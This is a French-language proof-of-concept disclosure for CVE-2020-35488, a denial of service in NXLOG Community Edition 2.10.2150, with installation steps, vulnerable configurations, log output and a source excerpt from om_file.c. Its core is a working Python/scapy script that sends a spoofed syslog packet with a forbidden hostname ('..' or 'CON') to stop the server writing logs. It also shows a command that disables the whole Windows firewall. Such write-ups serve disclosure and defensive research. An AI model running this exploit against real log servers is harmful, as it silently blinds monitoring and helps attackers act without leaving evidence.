
Exploit de preuve de concept pour CVE-2020-35488, une vulnérabilité de déni de service dans NXLOG Community Edition via des charges utiles syslog conçues provoquant des échecs de création de répertoire.
J'ai trouvé une vulnérabilité dans le produit : nxlog-ce_2.10.2150. J'ai testé mon PoC uniquement sur Linux (Debian 10) et Windows (Windows Server 2016).
Portée : NXLOG Community Edition 2.10.2150
Type de bug : CWE-502, Désérialisation de données non fiables https://cwe.mitre.org/data/definitions/502.html
Partie vulnérable : Charge utile Syslog
Charge utile :
MON CALCUL CVSS :
Vecteur d'attaque : Réseau
Privilèges requis : Aucun
Portée : Inchangée
Intégrité : Aucune
Complexité de l'attaque : Faible
Interaction utilisateur : Aucune
Confidentialité : Aucune
Disponibilité : Élevée
SCORE CVSS : 7.5
SÉVÉRITÉ : ÉLEVÉE
CALCUL CVSS DE NIST : Lien : https://nvd.nist.gov/vuln/detail/CVE-2020-35488
Vecteur d'attaque :
Privilèges requis :
Portée :
Intégrité :
Complexité de l'attaque :
Interaction utilisateur :
Confidentialité :
Disponibilité :
SCORE CVSS (3.X) : 7.5
SÉVÉRITÉ : ÉLEVÉE
Cette vulnérabilité peut provoquer un déni de service (DoS) du serveur NXLOG.
Mais le serveur doit avoir une configuration spécifique : le fichier de configuration nxlog doit définir la création d'un répertoire à partir d'un champ d'une partie de la charge utile Syslog.
Le logiciel essaie de créer un répertoire, mais le nom de ce répertoire ne peut pas être créé sur le système de fichiers.
Parce que le nom de ce répertoire est interdit.
Voici un exemple de nom de répertoire impossible à créer :
Donc, si le fichier de configuration est défini pour créer un répertoire nommé avec la charge utile Syslog, un attaquant peut arrêter le service Nxlog.
Pour exploiter cette vulnérabilité, j'ai créé un script Python :
#!/usr/bin/python3
# coding: utf8
# Nooooooooooo I'm not a script kiddie I hack syslog :D
# g0 h4ck SYSLOG
# Made by 123soleil with <3
import sys
import time
import argparse
from scapy.all import *
def getPayload(args):
# IF UNIX
if (args.OS == 1):
return "Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden"
# IF WINDOWS
elif (args.OS == 2):
return "Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden"
# Test
elif (args.OS == 3):
return "Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden"
def runExploit(args,payload):
priority = 30
message = payload
syslog = IP(src="192.168.1.10",dst=args.IP)/UDP(sport=666,dport=args.PORT)/Raw(load="<" + str(priority) + ">" + message)
send(syslog,verbose=args.DEBUG)
def getArguments():
parser = argparse.ArgumentParser(description="Go h@ck SYSLOG")
parser.add_argument("-ip", "-IP", dest="IP", type=str, metavar="IP destination", required=True,default=1, help="IP of NXLOG server")
parser.add_argument("-p", "-P", dest="PORT", type=int, metavar="Port destination", required=False,default=514, help="Port of NXLOG default 514")
parser.add_argument("-os", "-OS", dest="OS", type=int, metavar="OS", default=1, required=True, help="1 : For unix payload \n 2 : For Windows Paylaod \n 3 : Just for test")
parser.add_argument("-d", "-D", dest="DEBUG", type=int, metavar="DEBUG", default=0, required=False, help="1 : Debbug enable")
return parser.parse_args()
def main():
args = getArguments()
payload = getPayload(args)
runExploit(args,payload)
main()
Installer le service Nxlog sur Debian 10 :
apt-get install libapr1 libdbi1 libssl1.1 multiarch-support
cd /tmp
wget http://ftp.de.debian.org/debian/pool/main/p/perl/libperl5.24_5.24.1-3+deb9u7_amd64.deb
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl1.0/libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc-bin_2.28-10_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/m/man-db/man-db_2.8.5-2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/p/perl/perl-modules-5.24_5.24.1-3+deb9u7_all.deb
wget http://cz.archive.ubuntu.com/ubuntu/pool/main/g/gdbm/libgdbm3_1.8.3-13.1_amd64.deb
wget https://nxlog.co/system/files/products/files/348/nxlog-ce_2.10.2150_debian_stretch_amd64.deb
dpkg -i libc-bin_2.28-10_amd64.deb
dpkg -i libgdbm3_1.8.3-13.1_amd64.deb
dpkg -i perl-modules-5.24_5.24.1-3+deb9u7_all.deb
dpkg -i libperl5.24_5.24.1-3+deb9u7_amd64.deb
dpkg -i libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
dpkg -i man-db_2.8.5-2_amd64.deb
dpkg -i nxlog-ce_2.10.2150_debian_stretch_amd64.deb
Fichier de configuration du service nxlog :
cat /etc/nxlog/nxlog.conf
########################################
# Global directives #
########################################
User nxlog
Group nxlog
LogFile /var/log/nxlog/nxlog.log
########################################
# Modules #
########################################
<Extension _syslog>
Module xm_syslog
</Extension>
<Extension _exec>
Module xm_exec
</Extension>
<Extension _fileop>
Module xm_fileop
</Extension>
<Input udp>
Module im_udp
Host 0.0.0.0
Port 514
Exec parse_syslog_bsd();
</Input>
<Output file>
Module om_file
CreateDir True
File "/var/log/nxlog/"+ $Hostname +"/"+ $Hostname +".log"
</Output>
########################################
# Routes #
########################################
<Route syslog_to_file>
Path udp => file
Priority 1
</Route>
Démarrer le service Nxlog :
systemctl start nxlog
systemctl status nxlog
Résultat :
● nxlog.service - LSB: logging daemon
Loaded: loaded (/etc/init.d/nxlog; generated)
Active: active (running) since Sun 2020-11-29 17:58:48 CET; 3min 1s ago
Docs: man:systemd-sysv-generator(8)
Tasks: 7 (limit: 2330)
Memory: 1.7M
CGroup: /system.slice/nxlog.service
└─1323 /usr/bin/nxlog
nov. 29 17:58:47 DEB-TEST systemd[1]: Starting LSB: logging daemon...
nov. 29 17:58:48 DEB-TEST nxlog[1312]: Starting nxlog daemon...nxlog started!
nov. 29 17:58:48 DEB-TEST nxlog[1312]: .
nov. 29 17:58:48 DEB-TEST systemd[1]: Started LSB: logging daemon.
Vérification :
lsof -i :514
Résultat :
nxlog 1323 nxlog 18u IPv4 21321 0t0 UDP localhost:syslog
nxlog 1323 nxlog 19u IPv4 21324 0t0 TCP localhost:shell (LISTEN)
Ok super !
Avec mon script Python, je peux simplement envoyer un message Syslog pour tester si le service Nxlog crée un répertoire.
Le nom du répertoire est basé sur le champ HOSTNAME de la charge utile Syslog. (Voir le fichier de configuration)
Donc :
./syslog-exploit.py -ip 192.168.1.55 -os 3
La troisième option spécifie le hostname 123soleil dans la charge utile Syslog.
Donc :
ls /var/log/nxlog
123soleil nxlog.log
cat /var/log/nxlog/123soleil/123soleil.log
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden
Ok, le serveur Nxlog et le client Syslog fonctionnent !
Maintenant, si je spécifie un hostname avec un nom interdit :
./syslog-exploit.py -ip 192.168.1.55 -os 1
Dans le journal interne de Nxlog :
cat /var/log/nxlog/nxlog.log
Résultat :
2020-11-29 18:11:04 INFO nxlog-ce-2.10.2150 started
2020-11-29 18:15:12 ERROR failed to open /var/log/nxlog/../...log;Permission denied
Tous les nouveaux journaux envoyés par les clients Syslog ne seront plus écrits sur le système de fichiers.
Car le service nxlog est dans un état inconnu parce qu'il essaie de créer un répertoire qui ne peut pas être créé.
Pour illustrer, si j'essaie d'envoyer une nouvelle charge utile Syslog au serveur, j'obtiens ce journal dans le journal interne :
2020-11-29 18:11:04 INFO nxlog-ce-2.10.2150 started
2020-11-29 18:15:12 ERROR failed to open /var/log/nxlog/../...log;Permission denied
2020-11-29 18:18:38 ERROR last message repeated 3 times
J'ai testé cet exploit avec toutes les méthodes disponibles :
Et l'exploit fonctionne avec toutes les méthodes !
Sources :
Lien d'installation : https://nxlog.co/system/files/products/files/348/nxlog-ce-2.10.2150.msi
Fichier de configuration Nxlog :
########################################
# Global directives #
########################################
define ROOT C:\Program Files (x86)\nxlog
define CERTDIR %ROOT%\cert
define CONFDIR %ROOT%\conf
define LOGDIR %ROOT%\data
define LOGFILE %LOGDIR%\nxlog.log
LogFile %LOGFILE%
Moduledir %ROOT%\modules
CacheDir %ROOT%\data
Pidfile %ROOT%\data\nxlog.pid
SpoolDir %ROOT%\data
########################################
# Modules #
########################################
<Extension _syslog>
Module xm_syslog
</Extension>
<Extension _exec>
Module xm_exec
</Extension>
<Extension _fileop>
Module xm_fileop
</Extension>
<Input udp>
Module im_udp
Host 0.0.0.0
Port 514
Exec parse_syslog();
</Input>
<Output file>
Module om_file
CreateDir TRUE
File '%LOGDIR%' + '\' + $Hostname + '\' + $Hostname + '.log'
</Output>
########################################
# Routes #
########################################
<Route syslog_to_file>
Path udp => file
Priority 1
</Route>
Démarrer le service Nxlog :
Start-Service -Name "nxlog"
Get-Service -Name "nxlog"
Résultat :
Status Name DisplayName
------ ---- -----------
Running nxlog nxlog
Vérification :
netstat -an | Select-String "514"
Résultat :
UDP 0.0.0.0:514 *:*
Ok super !
Désactiver le pare-feu Windows, car je ne veux pas créer de règle de pare-feu... :
Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False
Avec mon script Python, je peux simplement envoyer un message Syslog pour tester si le service Nxlog crée un répertoire.
Le nom du répertoire est basé sur le champ HOSTNAME de la charge utile Syslog. (Voir le fichier de configuration)
Donc :
./syslog-exploit.py -ip 192.168.1.54 -os 3
Le répertoire et le journal sont créés :
ls "C:\Program Files (x86)\nxlog\data\"
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 29/11/2020 19:31 123soleil
-a---- 29/11/2020 19:52 257 nxlog.log
ls "C:\Program Files (x86)\nxlog\data\123soleil"
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 29/11/2020 19:31 75 123soleil.log
cat "C:\Program Files (x86)\nxlog\data\123soleil\123soleil.log"
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden
Maintenant, si je spécifie un hostname avec un nom interdit :
./syslog-exploit.py -ip 192.168.1.54 -os 2
Dans le journal interne de Nxlog :
cat 'C:\Program Files (x86)\nxlog\data\nxlog.log'
Résultat :
2020-11-29 19:30:57 INFO nxlog-ce-2.10.2150 started
2020-11-29 19:50:45 ERROR CreateDir is TRUE but couldn't create directory: C:\Program Files (x86)\nxlog\data\CON; Invalid directory name.
Tous les nouveaux journaux envoyés par les clients Syslog ne seront plus écrits sur le système de fichiers.
Car le service nxlog est dans un état inconnu parce qu'il essaie de créer un répertoire qui ne peut pas être créé.
Pour illustrer, si j'essaie d'envoyer une nouvelle charge utile syslog au serveur, j'obtiens ce journal dans le journal interne :
2020-11-29 19:30:57 INFO nxlog-ce-2.10.2150 started
2020-11-29 19:50:45 ERROR CreateDir is TRUE but couldn't create directory: C:\Program Files (x86)\nxlog\data\CON; Invalid directory name.
2020-11-29 19:52:48 ERROR last message repeated 3 times
J'ai testé cet exploit avec toutes les méthodes disponibles :
Et l'exploit fonctionne avec toutes les méthodes !
Source :
Un pirate peut arrêter le service Nxlog et attaquer l'infrastructure informatique sans aucune preuve de cette attaque.
J'ai trouvé le code source de NXLOG 2.10.2150 sur votre site web : https://nxlog.co/system/files/products/files/348/nxlog-ce-2.10.2150.tar.gz
Et j'ai identifié cette méthode dans om_file.c :
static void om_file_create_dir(nx_module_t *module, const char *filename)
{
char pathname[APR_PATH_MAX + 1];
char *idx;
apr_pool_t *pool;
ASSERT(filename != NULL);
idx = strrchr(filename, '/');
#ifdef WIN32
if ( idx == NULL )
{
idx = strrchr(filename, '\\');
}
#endif
if ( idx == NULL )
{
log_debug("no directory in filename, cannot create");
return;
}
pool = nx_pool_create_child(module->pool);
ASSERT(sizeof(pathname) >= (size_t) (idx - filename + 1));
apr_cpystrn(pathname, filename, (size_t) (idx - filename + 1));
CHECKERR_MSG(apr_dir_make_recursive(pathname, APR_OS_DEFAULT, pool),
"CreateDir is TRUE but couldn't create directory: %s", pathname);
log_debug("directory '%s' created", pathname);
apr_pool_destroy(pool);
}
Vous devez ajouter dans om_file_create_dir une vérification du nom du répertoire. Ressource :
Vous utilisez la fonction apr_dir_make_recursive pour créer le répertoire ; cette fonction est incluse dans Apache Portable Runtime. APR
Veuillez vérifier la version que vous utilisez dans votre binaire.
Veuillez vérifier que le PoC public ne permet pas une autre exploitation (ex. RCE).
Références :
N'utilisez pas ces fonctionnalités tant que Nxlog n'a pas déployé un correctif officiel pour les versions communautaires.